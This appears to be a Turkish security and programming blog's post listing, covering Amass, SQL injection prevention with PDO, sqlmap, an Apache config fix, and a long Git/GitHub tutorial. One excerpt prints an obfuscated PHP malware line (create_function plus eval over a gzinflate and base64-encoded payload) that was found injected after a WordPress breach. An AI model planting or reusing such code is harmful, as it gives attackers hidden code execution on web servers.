OWAST Amass domain istihbarat aracı tanıyalım

OWASP Amass, açık kaynak bilgi toplama ve aktif keşif teknikleri kullanarak saldırı hedeflerinin ağ haritalamasını ve harici varlık keşfini gerçekleştirir. Aracın alt alan adlarını bulmak için kullandığı tekniklere buradan bakabilirsiniz. Bir OWASP projesi olan Amass, açık kaynak istihbaratı (OSINT) alanında kullanılan önemli blueteam araçlarından birisidir. Go dilinde yazılmış olan aracın temel odağı alan adı (domain name) istihbaratı ve keşfi yapmaktır.

Okumaya devam et “OWAST Amass domain istihbarat aracı tanıyalım”

PHP’de SQL enjeksiyonları nasıl önlenir (PDO)

SQL enjeksiyonu, en yaygın şekilde var olan ve en çok zarar veren web uygulaması güvenlik açıklarından biridir. Neyse ki, hem programlama dilleri hem de RDBMS’lerin kendileri, web uygulaması geliştiricilerine veritabanını güvenli bir şekilde sorgulamanın bir yolunu (parametreli SQL sorguları) sağlamak için gelişti.

SQLi saldırılarından korunmak için parametreli sorgular kullanılır. Parametreli sorguların yazılması ve anlaşılması kolaydır ve bu geliştiriciyi bir ifadedeki gerçek değişkenler için yer tutucuları kullanarak tüm SQL ifadesini önceden tanımlamaya zorlar. Geliştirici SQL ifadesi tanımlandıktan sonra her parametreyi sorguya geçirerek veritabanının SQL komutu ile bir kullanıcı tarafından girilen veriler arasında ayrım yapabilmesini sağlar. SQL komutları bir saldırgan tarafından girilirse, parametreli sorgu girdiyi SQL komutunun aksine bir dize olarak değerlendirir.

Okumaya devam et “PHP’de SQL enjeksiyonları nasıl önlenir (PDO)”

SQLMap ile SQLi (SQL Injection) aramak

sqlmap, veritabanı kullanan web uygulamalarındaki güvenlik açıklarını bulmaya çalışan yetenekli bir araçtır. sqlmap hatalı kodlanan SQL cümlelerini suilstimal (exploit) etmeye çalışarak güvenlik açıklarını tespit eder. sqlmap açık kaynak kodlu bir araçtır (tüm yetenekler için tıklayın). Araç, verilen URL üzerinde birçok türde SQL zafiyetini araştırarak veritabanı ve çalıştığı sistemi ele geçirmeye çalışır. Özetle güvenlik hassasiyeti dikkate alınmadan kodlanmış veya yapılandırılmış veritabanı sistemi kullanan uygulamalarda açık arayarak sistemi ele geçermenin yolunu bulmaya çalışır. Suistimal edebileceği bir enjeksiyon noktası bulduğunda veritabanı ve sunucu üzerindeki verilere erişmeyi dener. Bunlar kullanıcı bilgilerinin veya mesajlaşma kayıtlarının tutulduğu tablolar, kredi kartı ve diğer finansal bilgilerin tutulduğu hassas tablolar ve sunucunun dosya sisteminde kayıtlı diğer dosyalar olabilir

Okumaya devam et “SQLMap ile SQLi (SQL Injection) aramak”

Tillson T3 İndikatörünü PHP ile Yazalım

Tillson T3 indikatörü, T3, Tillson hareketli ortalamaları olarak da bilinir. Bu teknik göstergenin geliştirilmesinin ardındaki düşünce hareketli ortalamalarda bulunabilecek gecikme ve yanlış sinyalleri iyileştirmekti. T3, diğer ortalama alan (SMA, EMA vb) trend indikatörlerine göre daha yumuşak (daha pürüzsüz) ve duyarlı sonuçlar üretir. T3 kullanılarak trend dönüşleri hissedilebilir.

Okumaya devam et “Tillson T3 İndikatörünü PHP ile Yazalım”

İlginç bir PHP arka kapısı

Birkaç yıl önce Genius‘un sayesinde haberdar olduğum aşağıdaki kod hala daha (v7.2.x) çalışmakta. İlginç yanı short_tags etkin olmasa dahi çalışıyor. Daha ilginci ve hakkkında pek bilgi bulamadığım kısmı ise dinamik olarak yaratılan ve veri (data) olarak ele alınması gereken bir yapının PHP tarafından bir metod (function) olarak değerlendirilmesi ve çalıştırılması.

Okumaya devam et “İlginç bir PHP arka kapısı”

Zararlı bir PHP kodu (PHP Malware)

Eski bir wordpress plug’innin neden olduğu sızmada aşağıdaki kod php betiklerinin başına eklenmiş.

<?  $oO0="cr"."eat"."e_fun"."cti"."on";[email protected]$oO0('$x','ev'.'al'.'("?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$o0O("s7EvyCjg5cpM0yguKSrIL9ZQiQ92DQpzDYpW9wgJCYgPBfLiHd1d/ULUY3WU8vPTc1KT8kuUNDWrebk4M1ITU1KLNJRAKvUN9QwVjA0MFXzzy1JTFAJSi3IT81LzSnIqlTStkdT65CcnlmTm51kpZJSUFBRb6euXl5frpSUmp+YmFmcb5+ZZmuol5+cCNaVkpgI11vJy2dsBAA==");
Okumaya devam et “Zararlı bir PHP kodu (PHP Malware)”

Raspberry Pi Kitabım Çıktı

Uzun ve yorucu bir çalışmanın sonunda “Raspberry Pi ile Linux ve Elektronik Uygulamaları” isimli kitabım kısa bir süre önce okuyucuları ile buluştu.

Birçok yabancı ve yerli kaynağın bütünlüklü şekilde bir arada ele alındığı kitabın Raspberry Pi ile onun Linux ve elektronik uygulamaları konusundaki Türkçe kaynak eksikliğini gidereceğini temenni ediyorum.

Kitabın içeriğini ve hakkındaki soruları tanıtım sitesi olan www.raspberrypikitabi.com adresinden detaylı olarak inceleyebilirsiniz.

Sponsorlar sayesinde kitabı ücretsiz olarak temin etmek de mümkün olacak, bunun için gerekli şartları ve yapmanız gerekenleri SSS bölümünden kontrol edebilirsiniz.

Kitabın, ülkemizin geleceği olan çocuklarımızın yetişmesinde ve bilgiye erişiminin kolaylaştırılması adına fayda getirmesi temennisiyle.

Önsöz: http://www.raspberrypikitabi.com/onsoz/
İçindekiler:: http://www.raspberrypikitabi.com/icindekiler/
Sık Sorulan Sorular (SSS): http://www.raspberrypikitabi.com/sik-sorulan-sorular/

[access_compat:error] AH01797: client denied hatasının nedeni ve çözümü

Bu hata; Apache v2.4 üstüne güncellendiğinde yapılandırma dosyalarınızda kalan (.conf ve .htaccess’ler) Order ve ve Allow erişim kontrol yapılandırmalarının kaynaklanır. v2.4 sonrasında bu direktifler geçerli değil.

Apache yapılandırma dosyanızda (/etc/apache2/sites-available/000-default.conf) ve yayın dizinlerinizdeki .htaccess dosyalarında şunlar varsa:

Order allow,deny
Allow from all

silin ve şunu yazın:

Require all granted

Eğer şu satırlar varsa:

Order allow,deny
Deny from all

silin ve şunu yazın:

Require all denied

Yayın dizininizdeki muhtemel .htaccess dosyaların hepsini bulmak için yayın dizinine gidin ve şu komutu yazın:

find . -type f -name .htaccess

Basit Anlatımla: Git/GitHub Kullanımı

Baştan şunu söyleyeyim, programcılar ve bilgisayar kullanarak tasarım çalışmaları yapanlar açısından Git kullanmanın çok fazla avantajları var. Git, evvela geriye dönük olarak satır satır kod geçmişini tutuyor. Güzel bir backup ortamı sağlıyor ve aynı zamanda kodda geçmişte yaptığınız tüm değişiklikleri görebiliyorsunuz. Programlama haricinde çalışma yapanlar için de şu açıklamayı yapmakta fayda var; Git metin tabanlı bir kontrol sistemi. Git’i kullanabilmeniz için yaptığınız çalışmaların kaynak dosyaları metin tabanlı olmalı.

İyi bir yedekleme sistemi olduğunu söylemiştim. 10 yıl önceki bir projenizin kaynak kodlarını muhtemelen kaybetmişsinizdir. Git ile Github kullanmaya başlamak için şuan iyi bir zaman. Git şunları da yapabiliyor: Projenizi parçalara ayırarak geliştirebilir, bu parçaları başkalarına paylaştırıp bitiminde de birleştirebilirsiniz. Mevcut bir yazılım projesini github’a yüklemek, güncellemek ve gerektiğinde yeni bir geliştirme ortamına çekmek birkaç küçük komutla mümkün oluyor. Git ve Github’ın sağladığı daha birçok güzel özellik var. Git, esasında bir versiyon kontrol/yönetim sistemi. GitHub ise git işlevleri için bir nevi hosting ortamı sunuyor. Tabi GitHub’ı kullanmaya başladıkça çok daha fazla özelliğe sahip olduğunu görebilirsiniz. Github sahip olduğu branch, fork ve issue alt yapısı ile programcılar için sosyal bir ortamda sunuyor. Programcıların Facebook’u da denilebilir. GitHub’a alternatif olarak GitLab’da aynı mantıkla çalışıyor. Ana farkı ise GitLab’ı kendinize ait sunucunuza da kurabilmeniz. Proje dosyalarını GitHub sunucularında barındırmak istemeyenler ilk tercihi olabiliyor. Her iki servis de açık kaynak kod projeler ve öğrenciler için ücretsiz. Artık kodlarınızın her geliştirme adımının bir kopyasını ve ilelebet sağlam bir arşivini saklamaya başlamak istiyorsanız bu yazı size göre. Bu arada Git’in mucidi Linus Torwalds yani Linux’un babası.

Laf kalabalığı yapmayacağım felsefeye de girmeyeceğim. Ufak veya büyük kod yazan veya dijital ortamda fikir sanat ürünü metin tabanlı herhangi bir çalışma ortaya koyan herkes için git ve github’ın nasıl kullanılacağını faydalarını olağan bir konuşma diliyle anlatmaya çalışacağım.

Önce github.com’dan bir hesap açın. Diyelimki test-dev-ss963 adında bir projemiz olsun (illaki kodlama projesi olmasına gerek yok 3D tasarım da olabilir) ve projemizi de bilgisayarimizda aynı isimli bir dizinde saklıyor olalım. Şuan ortamımız Linux fakat Windows veya MacOS’da da komutlar ve kullanım kuralları büyük ölçüde aynı.

GitHub’a giriş yaptıktan sonra repositories (ayni depolar) sayfasına giderek New düğmesine tıklatın. Deposunu oluşturmak istediğiniz projenin adı sorulacak (repository name), hatırlamak kolay olsun diye aynı ismi buraya da girebilirsiniz. Dilerseniz (optional) bir açıklama yazabilirsiniz. Bence olabildiğince basit ve uzun açıklamalar yazmalısınız, bu ileride neyin ne olduğu konusunda fayda sağlayacak. Önemli bir ayar da projenin dışarıya açık mı yoksa kapalımı olacağı. Public seçerseniz projenin kaynak kodlarına herkes erişebilir, private yaparsanız sadece siz veya yetki verdiğiniz GitHub kullanıcıları erişebilir.

Create repository düğmesine tıklattıktan sonra aşağıdaki gibi bir sayfa gelecek. Aslında bu sayfadaki komutlar benim burada açıklamaya çalışacaklarımın çok güzel bir özeti mahiyetinde. Bu ekranda bizim için önemli olan ve daha sonra ihtiyacımız olacak olan git adresidir. Yeşil kutu içerisinde gözüken adres. Bu bizim uzak depo adresimiz (remote repo). Bunu bir kenara not edin veya kopyalayın.

Devam edelim, daha elimizde bir proje yok, kaynak kod da yok. Henüz yerel bilgisayarımızdaki dizin ile oluşturduğumuz bu depo (repo) ‘yu ilişkilendirmedik. Bu yazıda göstereceğim örnekte geliştirmesini yaptığım projenin kodları bir linux bilgisayarında test-dev-ss963 adlı bir dizinde duruyor. Dizinin tree komutuyla aldığım listesini aşağıda görebilirsiniz:

Şimdi ilk yapmamız gereken bir seferliğine git araçlarını işletim sistemimize yüklemek. Bu araçlar sayesinde yereldeki kaynak kodlarımızı github.com daki depomuza yükleyeceğiz, güncelleyeceğiz veye tam tersini yapacağız. git araçlarını yüklemek için aşağıdaki komutları verin:

[email protected]:~ $ sudo apt-get update
[email protected]:~ $ sudo apt-get install git -y

Şimdi test-dev-ss963 dizinine girerek (siz kendi dizininize girin) aşağıdaki komutu verelim. Bu komut ile git özelliklerini kullanabilmek için gerekli bir ortam oluşturulacak ve bu ortama ait tüm veriler .git adında yeni olusturulacak (başında nokta olduğu için Linux için gizli dizindir) bir dizinde saklanacak. Bu dizin kodlarımızdaki değişiklikleri takip edecek ve uzak depomuzla arada bir köprü vazifesi kurarak, tüm ayarları, kod geçmişini kısaca herşeyi saklayacak. Bu dizinde herhangi bir işlem yapmamıza gerek yok. Hatta gözünüz gibi bakarsanız çok da iyi olur.

git init

Şimdi git add . komutunu vererek dizindeki (ve alt dizinleri de dahil eder) tüm dosyaları takip listesine ekleyelim. Dilerseniz git add dosya_adi.cpp seklinde de kullanabilirsiniz. Bu takip konusu önemli. Ne takibi bu diyebilirsiniz. Git’in girişte bahsettiğim nimetlerinden yararlanabilmek için, projemize dahil olan dosyaların bildirilmesine takip listesine eklemek, dizine eklemek ve ingilizcesi staging area‘a ya (yani sahneye) eklemek gibi farklı tabirler kullanılıyor. Kısaca, proje dizininde gerekli gereksiz binlerce dosya olabilir bunlardan hangilerinin projenin elzem dosyaları olduğunu bildirmiş oluyoruz. İleride takip listesine ekleyeceğimiz dosyaları belirlemek yerine sadece dışarıda bırakacağımız dosyaları tanımlamayı da anlatacağım (bunu .gitignore dosyası sayesinde yapacağız). Gundan sonra Git dizindeki tüm dosyalarımızı takip etmek üzere listesine ekleyecek. Eğer daha sonra proje dizininde yeni bir dosya/dizin oluştururusanız bu komutu tekrar vermeniz gerekir. Takip listesi demek git depomuza dahil olacak dosyaları belirlemek anlamına geliyor. Bu örnekte . (nokta) yazarak depomuza ne var neyok ekledik fakat sadece belli bir dizini ya da dosyayı da ekleyebilirdik. Genellikle proje dizininde git add . çalıştırılarak ne var ne yok eklenir. O nedenle neler depoya dahil olacak onları takip listesine eklemek için add komutundan faydalanıyoruz.

git add .

Evet, diyelimki bundan sonra kodlarımızı geliştirmeye başladık. Proje dosyalarımızda birçok değişiklikler yaptık. Sırada bu değişikliklerden yereldeki git depomuzu haberdar etmeye geldi. Kullanacağımız komut git commit. Bu komutla takibe aldığımız tüm dosyalarımızı yerel depomuza eklemiş olacağız. Bu ekleme işi ile projemizin o anki halinin detaylı bir fotografı çekilecek ve başta bahsettiğim .git dizinine kaydedilecek.

Komutu verdikten sonra çok güzel birşey olur; nano editörü açılır ve üzerinde değişiklikler yaptığımız dosyalar listelenir ve bize bu güncelleme için biraz açıklama bilgisi girmemiz istenir. Bu aşamada, en son commit’den bu yana yaptığınız değişiklikleri girebilirsiniz. Bu açıklamalar daha sonra yerel depomuzda (çeşitli git araçlarını kullanarak) veya github.com üzerinden kodlarımızı incelerken bize nerede ne değişikliği neden yaptığımız konusunda yol gösterecek. Bu açıklama eğer varsa projeyi beraber yürüttüğümüz diğer paydaşlara da bilgi sağlayacak. Böylece kodların neresinde neyi neden eklediğimiz/değiştirdiğimizi bilme şansına sahip olacaklar. Ayrıca herbir commit, projede geriye dönebileceğiniz sürümleri de tanımlar. Yani işler kötü gitti, kodları eski haline getirmek istiyorsunuz, ancak commit yaptığınız anlara geri dönebilirsiniz. Bu bilgiyi de ne zaman commit yapmanız gerektiği konusuna karar vermek için kullanabilirsiniz. Aşağıdaki commit’i uygulamadan önce Commit’leri kim yapmış başlığına giderek commit’i yapan kişi hakkında ufak bir tanımlama yapmalısınız.

git config --global user.name "enseitankado"
git config --global user.email "[email protected]"

git commit

Evet şimdi geldik işin en can alıcı noktasına. Yerelde yaptigimiz bu desigiklikleri uzak depomuz ile ilişkilendirmeye, Bunun için aşağıdaki komutu verelim. Bu komutu bir kez vereceğiz daha sonraki commit’lerde yeniden vermeye gerek yok. Adres .git dizini içine gerektiği şekilde kaydolacak.

git remote add origin https://github.com/enseitankado/test2-dev-ss963.git

Bu komutla bir orjin ekledik yani başlangıç noktası. Artık github ilk yükleyeceğimiz proje kopyamızı projemizin yaşam döngüsü içinde nereye konumlandıracağını biliyor. Yani ilk başa ya da “0” noktasına (orijin) konumlandıracak. Sıra geldi kodlarımızın fiziksel olarak github.com’daki uzak depomuza yüklemeye. Bunun için push komutunu kullanacağız. Eğer hali hazırda olan bir depodaki kodları yerele çekerek kendimize kopyalamamız gerekseydi fetch veya clone komutunu verecektik. Push komutunu verdiğiniz anda doğal olarak kullanıcı adı ve parolası girmeniz istenecek. GitHub’ın 13 Ağustos 2021‘de işleme koyduğu yeni kimlik doğrulama politikasına göre artık github parolamızı git aracı ile işlem yaparken kullanamıyoruz. Buradaki talimatları uygulayarak, önce hesap ayarlarının altındaki security sayfasında yer alan 2FA (iki adımlı doğrulama) ‘yı etkinleştirin ve ardından developer settings sayfasından yeni bir erişim jetonu (access token) tanımlayın. Git aracının sorduğu parolalara bu token’ı gireceğiz. İlerleyen paragraflarda kullanıcı/parola bilgisini her seferinde yazmamak için ne yapılması gerektiğini de anlatacağım.

git push -u origin master

İşte bu kadar. Artık elimizde projemizin şuanki halinin bir fotoğrafı var ve bir kopyası da GitHub sunucusunda kayıtlı durumda. İstediğimiz zaman buraya geri dönebilir veya projeyi farklı ortamlara kopyalamak/paylaşmak için GitHub sunucusundaki kopyayı kullanabiliriz. Ancak unutmayın ki GitHub sunucusu yalnızca commit ve ardından push yapılan dosyaları barındırır. Artık bundan sonra projemizi geliştirmeye devam edebiliriz. Projemize yeni dosyalar eklenirse add komutunu vererek takip listesine alacağız, kodlarda değişiklik yaptıkça da commit ile açıklama verip depoya ekleyeceğiz. Uzak depoya eklemek için push komutunu kullanacağız. Bu kadar.

Özetle, bundan sonra geliştirmemizin github döngüsü genel olarak aşağıdaki gibi olacak:

git add .
git commit
git push

Commitler arasında ne gibi değişiklikler olduğunu görmek için github.com üzerinde depomuza gidip ilgili dosyanın history butonuna tıklatabilirsiniz. Aşağıda ekran görüntüsü yer alıyor:

Not-1: commit yaptığınızda açıklama yazmanız için nano editörü açılıyordu. Dilerseniz kısa açıklamalar için gitt commit -m “Kisa aciklamalar…” komutunda olduğu gibi -m (comment) parametresini kullanabilirsiniz.

Not-2: add ve commit komutlarını kullanmadan önce, git status ile hangi dosyaların yeni oluşturulduğunu veya hangi dosyalarda değişiklikler yaptığınızı görebilirsiniz.

git status

Not-3: Boş bir commit oluşturmak için allow-empty parametresini kullanabilirsiniz

git commit --allow-empty

Biraz yeşillendirelim

Bu başlıktan itibaren yukarıda temel yaşam döngüsünü anlatmaya çalıştığım github kullanımını detaylandıracağım. Yukarıdaki adımlarda bunu mahsus yapmadım. Git zaten oldukça detaylı bir teknoloji ve işin temelini aktarırken akıcılığı teferruatlarla sekteye uğratmak istemedim.

git status

Bu komutu verdiğinizde projenizde değişikliğe uğramış ve yeni eklenen dosyalar listelenir. Değişikliğe uğramış ve henüz push edilmemiş olanlar yeşil renkte, dizine yeni dahil olanlar ve dolayısıyla henüz takibe alınmamış olanlar kırmızı renkte gösterilir. Takibe almak için yapılması gerekeni biliyorsunuz (zaten ekran çıktısında da yazıyor): git add

push yaparken her seferinde kullanıcı adı ve parola girmek bazen sıkıcı olabilir aşağıdaki komutu vererek GitHub kullanıcı adı ve parolanızın ev dizininizdeki ~/.git-credentials dosyasına depolanmasını sağlayabilirsiniz. Bu noktada önemli bir uyartım göndermem gerekiyor. Parola bu dosyaya açık şekilde (clear text) kaydolduğu için sisteminize erişim sağlayan birisi tarafından görülebilir. Bu konuya dikkat etmelisiniz. Kazayla public bir depoya push etmek de hamama gitme gerekçesi olabilir.

git config credential.helper store

Commit’lerin sıklığı ve ne zaman yapılacağı konusunda biraz bilgi vereyim. “zırt pırt” commit yapmayın. Özellikle birden fazla kişinin çalıştığı projelerde herşeyi commit yaparsanız ekip arkadaşlarınızın yapılan değişikliğin anlamsal bütünlüğünü kavramaları zor olabilir. Örneğin projenin belli bir kısmı ile ilgili yaptığınız eklemeyi commit’leyin. Ya da belli bir hatayı düzeltmek üzere yaptığınız çalışmayı commit’leyin. Bunu kullandıkça daha iyi kavrayacaksınız. Kısaca “ota-poka” commit yapmayın

Git add ile dosya veya dizinleri takip listesine alıyorduk. Peki hali hazırda birşeyleri (dizin/dosya) takip listesinden çıkartmak istersek ne yapmamız gerek? Bunun için de git rm yani remove komutundan faydalanırız. Kullanımı git add ile aynıdır. git rm ile belirttiğimiz dosya/dizinler önümüzdeki commit listemizde yer almazlar.

git rm dosya.txt

Diyelim ki, yaptığınız commit’e bir dosyayı dahil etmeyi unuttunuz bunun için dosyayı add ile takibe aldıktan sonra son yapılan commit’i aşağıdaki gibi yenileyebilirsiniz. Önceki iptal edilecektir. Amend ile yenilenen commit git log çıktısında gözükmezken git reflog çıktısında gözükür.

git commit --amend

Eğer sadece yorumu güncellemek istiyorsanız:

git commit --amend -m "Yeni yorum"

git’in komutları hakkında yardım almak için hem de oldukça detaylı bir yardım almak için komuta –help parametresini verebilirsiniz. Malesef bu kapsamlı kaynak ingilizce.

git commit --help

Branchler Hakkında

İşler biraz karışıyor gibi olacak ama sakin olun. Branch kavramı git versiyonlamanın olmazsa olmazı. Branch Türkçe’de kol, dal anlamına geliyor. Yani projemizi kollara veya dallara ayırmak için kullanıyoruz. Özellikle birden fazla kişinin çalıştığı projelerde çok faydalı bir işlev. Branch’i anlamak için şöyle bir örnek verelim. Diyelim ki bir web sitesi kodluyorsunuz ve müşteriden acil bir ek istek geldi. Login sayfasına sms şifresi ile de giriş yapılabilsin istiyor. Fakat siz o sırada CSS’leri güzelleştiriyordunuz. Müşteri velinimettir farkındalığıyla çalışmakta olduğunuz için işi bırakıp müşterinin isteğine yöneleceksiniz veya projenin mevcut halini ekip arkadaşınıza verim ilgili özelliği eklemesini isteyecek bu sırada CSS işinize devam edeceksiniz. Bu gibi durumlar (yeni bir özellikle ekleme, raporlanmış bir hatayı düzeltme, belli sağlamlık testlerinin onaylandığı durumlar) branch oluşturmanın en uygun anlarındandır.

Diyelim ki biz müşterinin isteğini ekip arkadaşımıza paslama seçeneğini tercih ettik. Yani ek özelliği yeni bir kol olarak oluşturup daha sonra ana kol ile birleştireceğiz, yani merge işlemi yapacağız. Aciliyetle ana proje üzerinde yapabileceğimiz hataları dilersek geri alabileceğiz veya müşteri 3 yıl sonra bu özelliği çıkartmak isteyecek ama biz proje ile çok fazla uğraştık ve kodlar büyüdükçe büyüdü, özelliği elle çıkartmak zahmetli. Olsun, git kullanarak yine de çıkartabilirsiniz. Git’in bu konudaki zeki altyapısı size yardımcı olacak.

Yeni bir branch’e geçmeden önce projenin şuanki haline add ve commit yapın. Aksi takdirde add ve commit yapılmayan dosyalar yeni branch’e dahil olacaktır.

git add .
git commit 

Mevcut halinin bir fotografını çektiğinize göre bu noktada kendinize yeni bir dal oluşturuyorsunuz. Bu dalın adı da sms-login olsun. Yeni bir dal oluşturmak için şunu yazın:

git branch sms-login

Projenin mevcut halinden (master) bu dala geçerek çalışmaya başlamak için checkout komutunu verin:

git checkout sms-login

Artık bu safhadan sonra sms-login branch’i ile ilgili kodlamaları yapabilirsiniz. Sitenin önceki (master) kodları ile sms-login kodları şimdilik ayrı kollardan devam ediyor. sms-login özelliğinin kodlaması bitip gerekli testleri yaptıktan sonra değişiklik yaptığınız dosyaları git add ile takibe alın (site.css’e dikkat edin):

git add sms-login.include.php sms-login.class.php site.css

Ardından içinde bulunduğunuz branch’i (sms-login) commit ederek bir dönemeç noktası daha oluşturun.

git commit -m "Acil istek uzerine sms-login ozelligi eklendi."

Şimdi telefon gelmeden önceki kaldığımız yere master branch’e geri dönelim bunun için:

git checkout master

Şimdi CSS güzelleştirme işine devam edebilirsiniz. CSS işlerini bitirdikten sonra bir bakıma elinizde iki adet proje oluşmuş olacak (A ve B). Biri CSS iyileştirmesi yaptığınız ama sms-login özelliği olmayan (Buna A projesi diyelim). Diğeri de CSS geliştirmesi yarım kalmış ama sms-login özelliği eklenmiş olan proje (buna da B projesi diyelim).

Gayet tabi sms-login’i eş zamanlı olarak ekip arkadaşınız da yazmış olabilirdi. Esasında burada anlattığım senaryo (yani sms-login’i ve css’i yazan kişinin aynı olması) git ekosistemini anlatmak için zayıf kalıyor. Eğer sms-login işini ekip arkaşımıza paslayıp, CSS işimizi hiç bölmeyecek bir senaryo kullanıyor olsaydım git’in özelliklerini anlatmak açısından daha iyi olurdu ve yakaşanı da buydu. Lakin, temel ve anlaşılır bir anlatım ortaya koymak için teferruatlardan uzak durmak istedim. Aksi takdirde daha birçok git komutu ve özelliğini de bu cümlelerin arasına serpiştirmem gerekirdi ki bu da dikkati dağıtabilir. Ama merak etmeyin bu dökümanı okumayı bitirdiğinizde 2. senaryoyu da rahatlıkla kullanabiliyor olacaktısınz.

Şimdi doğal olarak bu iki projeyi master branch üzerinde birleştirmemiz lazım ki elimizde yola devam edebileceğimiz bütün bir proje olsun. Bunun için aşağıdaki komutu girmeniz yeterli. Bu kadar.

git merge sms-login

Bu komutla master ve sms-login branch’leri (A+B) aktif branch olan master üzerinde birleştirilir. Aklınıza şöyle bir soru gelebilir (aslında gelmesi de lazım). Diyelim ki A ve B projesinin her ikisinde de site.css dosyasında değişiklikler yaptınız. Peki hangisi geçerli olacak? Burada git’in zeki özellikleri devreye girerek her iki projede de yaptığınız değişiklikleri birleştirecek. Ayrı koldan yürüyen A ve B’nin birbirini olumsuz etkilemesini önleyen bir mantıkla birleştirme yapacak hatta çok mantıklı bir birleştirme yapacak endişe etmeyin. Diğer taraftan; projenizi geliştirirken modüler bir mantık kullanıyorsanız çok büyük bir ihtimalle hiçbir sorunla karşılaşmayacaksınız. Çünkü modüler geliştirmede kod parçaları büyük oranda birbirinden bağımsızdır. Tabi hala 90’lı yıllardaki gibi (nesne ve olay kavramları yokken) herşeyi onbinlerce satır ve yüzlerce alt program kullanarak inşa ediyorsanız müdahale edeceğiniz durumlar oluşabilir. Bunu confict başlığında ele aldım.

Burada anlatılan kollara ayırma ve birleştirme işlemi için aşağıdaki şekil açıklayıcı olabilir. Yukarıdaki anlatımda tek bir commit yapmış olsak da bu konuda bir sınırlama yok. Aşağıdaki görselde herbir çember bir commit’i ifade ediyor.

Yerel deponuzda kayıtlı branch’leri görmek için branch komutuna -a seçeneğini verebilirsiniz.

git branch -a

Master branch’den merge işlemini paralel devam eden bir çok branch’e istediğiniz zaman yapabilirsiniz. Bunu yapmanın kararını ekip arkadaşlarınızla eşgüdümlü şekilde kararlaştırmalısınız. Yeri gelmişken tekrar hatırlamak gerekirse; git mantalitesinde hedef ürüne dönüşecek olan kol master adlı branch’dir. Hmm, güzelmiş deyip sıradaki başlığı okumaya devam edelim.

Merge’de çakışma yada conflict oluşunca

Merge ile kaldığımız yerden devam edelim. Peki her iki projede de aynı CSS satırını ya da komutunu değiştirdiysem hangisi geçerli olacak. Tabi bu değişikliği master’ı kodlayan ekip arkadaşınız da yapmış olabilir. Evet işte bu bir sorun ve buna git literetüründe conflict yani çakışma deniyor ve bir versiyon kontrol sisteminde yaşyabileceğiniz en büyük sorundur. Bu noktada; ilgili satırda/komutta hangi değişikliğin uygulanacağını sizin elle belirlemeniz gerekiyor. Çakışma olan dosyayı git status komutu ile görebilirsiniz. Eğer kollardan birini farklı bir kişi kodluyorsa, hangi satırın korunacağı konsunda onunla iletişim kurmanın zamana gelmiş demektir.

git status

Çakışmayı çözmek için ilgili dosyayı bir metin editörü ile açtığınızda çakışma olan bölgenin başlangıncında açakışma işareti olan <<<<<<< karakterlerini göreceksiniz. Bitişi ise >>>>>>> karakterleriyle işaretlenmiştir. A ve B kodu ise ======= ile ayrılmıştır. Aslında merge tarafından üretilen ilgili blok tam olarak aşağıdaki gibidir:

p[style="background: #f2f2f2"]
<<<<<<< HEAD
line-height: 1em !important;
=======
line-height: 1.2em !important;
>>>>>>> branch sms-login

Bu blokta yer alan çakışma şudur. Aynı seçici (p[style=”background: #f2f2f2″]) için iki farklı satır yükseliği değeri belirtilmiş. git sizden hangisi geçerli olacağını belirlemenizi istiyor. 1.2em’ye karar vermişsek bu değişikliği yapmak için bu bloğunu silip aşağıdaki gibi sadece css kodunu bırakmalısınız.

line-height: 1.2em !important;

İlgili değişikliği yaptıktan sonra add ve commit komutlarını verebilirsiniz:

git add . git commit -m "sms-login ve master branch cakisma sorunu elle cozuldu."

İşlem bukadar. Merge işleminden vaz geçmek isterseniz de aşağıdaki komut yardımınıza yetişir:

git merge --abort

Master adında bir branch’imiz var. Bu her halukarda mevcut olan bir branch. Yani proje geçmişi açısından hem bir başlangıç noktası hem de omurga. Merge işlemi git gibi versiyon izleme ve yönetim araçlarının olmazsa olmaz parçasıdır. Yoksa yaptığımız şeyin sürekli yedek almaktan bir farkı olmazdı. Eğer merge gibi olanak olmasaydı projede aynı anda sadece 1 kişi çalışabilirdi. O kişide muhtemelen şunu derdi; şuanda raporlama ekranlarını kodluyorum kimse projeye dokunmasın. Ekibin tüm üyeleri buna benzer şeyler söylerdi ve ciddi bir zaman ve para kaybı ortaya çıkardı. git gibi bir olanak varken onu mutkala kullanın. Sadece yazılım projelerinde değil dijital ortamdaki herhangi bir projenizde de kullanabilirsiniz. Eğer çalıştığınız şey kodlama projesisi ise daha doğrusu metin tabanlı bir içerikten oluşuyorsa, merge’in olanaklarından sonuna kadar yararlanın. git’in merge işlemi için son derece sağlam çalışan bir altyapısı var. Linux gibi milyonlarca satırdan oluşan milyardolarlık bir projenin onbilerce kişi tarafından dağıtık olarak geliştirilebilmesini sağlayan git’i kullanın ve kullandırtın.

Marty, Beni geçmişe geri götür

Birşeyler ters gitti ve projeyi en son çalışan haline veya commit ettiğiniz bir zamana geri döndürmeniz gerekiyor. Birçok dosyada onlarca değişiklik yaptınız. Tabi elinizde git gibi bir araç olmasaydı işiniz çok zor olurdu. Daha önce belirttiğim gibi ancak commit ettiğiniz zamanlara geri dönebilirsiniz. Aşağıdaki geri döndürme işleminin telafisi yoktur. Tekrar ileri gidemezsiniz. O nedenle çok kere düşünün. Sadece bir dosyayı son commit’e geri döndürmek için;

git checkout -- dosya.txt

Not: Normalde bu komut git checkout dosya.txt şeklinde de yazılabilir. Fakat — işaretleri git aracına artık komut satırı parametrelerini dikkate alma der ve ardından dosya.txt’yi son commit’e döndürür. Mesela master isminde bir dosyanız oldugunu düşünün (sadece master, uzantısı yok) normalde bu dosyayı önceki commit’e çekmek için yazmanız gereken komut şu olurdu: git checkout master ama bu komut çalışılan kolu master olarak ayarlayacaktır. Bu nedenle — işaretlerinden yararlanarak bu olasılığı baştan bertaraf eden bir alışkanlık kazanıyoruz.

Projedeki herşeyi son commit’e (HEAD) geri döndürmek istiyorsanız;

git reset --hard HEAD

Son commit’ten önceki commit’e geri döndürmek istiyorsanız:

git reset --hard HEAD~1

Dikkat edin checkout ve hard reset’in geri dönüşü yoktur. Tekrar ileri alamazsınız. Belli bir commit’e geri dönmek için ise HEAD~numara yazabileceğiniz gibi commit’in hash id değerinin ilk 6 hanesini yazmanız da yeterlidir. Hash id’ler git log veya git reflog listesinde commit 67a1c17b9b7376c7f2602c6fb3315a şeklinde gözüken değerlerdir.

git reset 67a1c1

Eğer reset’i argümansız olarak kullanırsanız son commit’ten sonra add ile eklediğiniz dosyaları takipten çıkartır. Sadece bunu yapar dosyalara ve içeriğine dokumaz.

git reset

